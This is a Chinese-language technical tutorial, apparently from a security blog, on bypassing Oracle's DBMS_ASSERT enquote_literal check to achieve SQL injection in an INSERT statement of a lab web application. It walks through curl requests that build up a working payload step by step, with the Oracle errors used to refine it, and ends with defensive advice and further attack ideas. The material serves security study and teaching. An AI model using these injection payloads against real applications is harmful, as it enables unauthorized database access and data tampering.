检测并实现绕过DBMS_ASSERT
字数 1176 2025-08-29 08:32:25
Oracle DBMS_ASSERT 绕过技术分析与实战教学
1. 概述
本文详细分析Oracle DBMS_ASSERT安全机制的绕过技术,特别是针对dbms_assert.enqoute_literal方法的漏洞利用。我们将通过一个实际Web应用案例,展示如何检测和绕过这一安全防护,实现SQL注入攻击。
2. DBMS_ASSERT 简介
DBMS_ASSERT是Oracle提供的一个PL/SQL包,主要用于验证和清理SQL语句中的输入,防止SQL注入攻击。其中enqoute_literal方法用于确保输入是有效的字符串字面量。
3. 漏洞背景
旧版本的dbms_assert.enqoute_literal存在一个关键缺陷:当输入包含单引号时,该方法无法正确验证和转义,导致攻击者可以构造特殊输入绕过安全防护。
4. 实验环境搭建
4.1 测试应用架构
- Web应用框架:modowa
- 数据库:Oracle XE
- 功能模块:
- 记录插入功能(
add_request) - 记录查询功能(
get_requests)
- 记录插入功能(
4.2 应用接口分析
通过分析HTML源码,发现两个关键AJAX调用:
// 搜索请求
/pls/public/portal.pkg_service_requests.get_requests?p_request_type=...&p_requestor=...&p_email=...&p_description=...
// 添加请求
/pls/public/portal.pkg_service_requests.add_request?p_request_type=...&p_requestor=...&p_email=...&p_description=...
5. 漏洞检测方法
5.1 自动化工具测试
- OWASP ZAP:检测到XSS漏洞但未发现SQL注入
- sqlmap:检测到Oracle后端和潜在注入点,但无法完成注入
5.2 手动检测步骤
- 尝试基本注入:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email=not.bruce@waynetech.com&p_description=BATMAN'%20or%201=1"
返回Oracle错误,显示存在防护机制
- 测试单引号绕过:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
返回ORA-00917错误,确认存在注入路径
6. 注入技术详解
6.1 基础注入构造
- 初始注入:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=BATMAN"
→ ORA-00917: 缺少逗号
- 添加逗号:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,"
→ ORA-01756: 引用的字符串未正确终止
- 使用注释终止:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,--"
→ ORA-00936: 缺少表达式
6.2 有效载荷注入
- 注入Oracle函数:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER--"
→ ORA-00917: 缺少逗号
- 补全语法:
curl "http://target/pls/public/portal.pkg_service_requests.add_request?p_request_type=Message&p_requestor=Batman&p_email='&p_description=,USER)--"
→ 成功执行,返回数据库用户信息
7. 技术要点总结
- 注入点定位:必须在INSERT语句中寻找可利用的参数
- 语法构造:需要逐步调试SQL语句结构,补全缺失的语法元素
- 错误利用:通过分析Oracle错误信息调整注入策略
- 函数调用:利用Oracle内置函数(如USER、SYSDATE)获取系统信息
8. 防御建议
- 升级Oracle到最新版本,修复
dbms_assert.enqoute_literal漏洞 - 实施多层防御:
- 输入验证
- 参数化查询
- 最小权限原则
- 定期安全审计和渗透测试
- 监控和记录异常数据库查询
9. 扩展利用思路
虽然本文展示了如何获取基础系统信息,但INSERT注入还可用于:
- 数据篡改
- 存储过程调用
- 权限提升
- 数据库链接利用
通过精心构造的注入语句,攻击者可以实现更复杂的数据窃取和系统控制。